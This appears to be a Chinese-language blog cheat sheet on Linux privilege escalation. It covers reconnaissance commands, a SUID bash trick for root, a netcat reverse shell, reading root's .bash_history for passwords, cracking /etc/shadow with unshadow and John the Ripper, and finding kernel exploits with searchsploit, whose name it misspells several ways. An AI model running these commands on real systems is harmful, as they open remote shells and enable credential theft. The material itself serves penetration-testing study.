Linux提权

0x00 Linux提权基础命令

uname -an # 查看当前操作系统的版本信息
id # 查看当前用户的权限信息
pwd # 查看当前所在目录路径
cat /etc/issue # 查看发行版系统版本号,e.g: Ubuntu 12.04.4
dpkg -l |grep -i exim # debian系统查看已安装的软件,并输出查找到的项

chmod +s /bin/bash  # 可以使得bash解释器在普通用户环境下以root权限运行
/tmp/bash -p
ls -al # 在当前目录查看所有文件及文件的权限

0x01 Linux提权工具

1.Linux内核CVE提权(github):可能会导致系统崩溃
2.netcat 反弹shell或者python反弹shell

nc -l -vv -p 10000 客户端
nc [dst_host] [dst_port] -e /bin/bash 服务端

3.linux-exploit-suggester:查看系统存在的漏洞

0x02 提权tips

  1. /root目录下的.bash_history 文件下会存有root用户执行过的命令,在进入到系统后可以读取该文件内容来获取其他软件的用户名和密码,比如数据库等。但是在/root目录下执行的命令只有root权限的用户才能查看该文件

2.菜刀不能返回某些Linux命令的响应内容,需要先反弹shell后才能看到命令执行返回的内容
3.一般情况下 /tmp 文件夹是可读可写可执行,所以可以把文件上传到/tmp目录下

0x03 Linux密码获取与破解

涉及系统登录密码的重要文件有两个:

/etc/passwd 用户信息
/etc/shadow 密码信息

密码格式$id$salt$encrypted

id 表示加密算法,1 代表 MD5,5 代表 SHA-256,6 代表 SHA-512 salt 表示密码学中的 Salt, 系统随机生成 encrypted 表示密码的 hash
Linux系统的加密算法,主要通过账号后的$x进行判断:
$1 :Md5加密算法
$2 :Blowfish加密算法
$5 :Sha-256加密算法
$6 : Sha-512加密算法
其他格式均为标准DES加密算法
破解工具:john

unshadow  /etc/passwd /etc/shadow > 1.txt #导出密码和用户到1.txt中
john --wordlist=/usr/share/john/password.lst 2.txt #加载字典暴力破解
john --show 2.txt #显示破解成功的密码

0x04 使用searchpolit根据系统内核版本查找利用exp

searchploit是 一个Exploit-DB的命令行搜索工具,可以用它在Exploit-DB中寻找漏洞利用代码

举例:searchspoit linux 2.6 ubuntu priv esc
另外找到exp后最好在目标环境下编译后执行,因为不同的环境下可能存在不同版本的依赖,在不同的环境下编译后上传到目标机可能导致exp无法执行。
下载地址:https://www.exploit-db.com/searchsploit
参考:Linux提权:从入门到放弃

你可能感兴趣的:(Linux提权)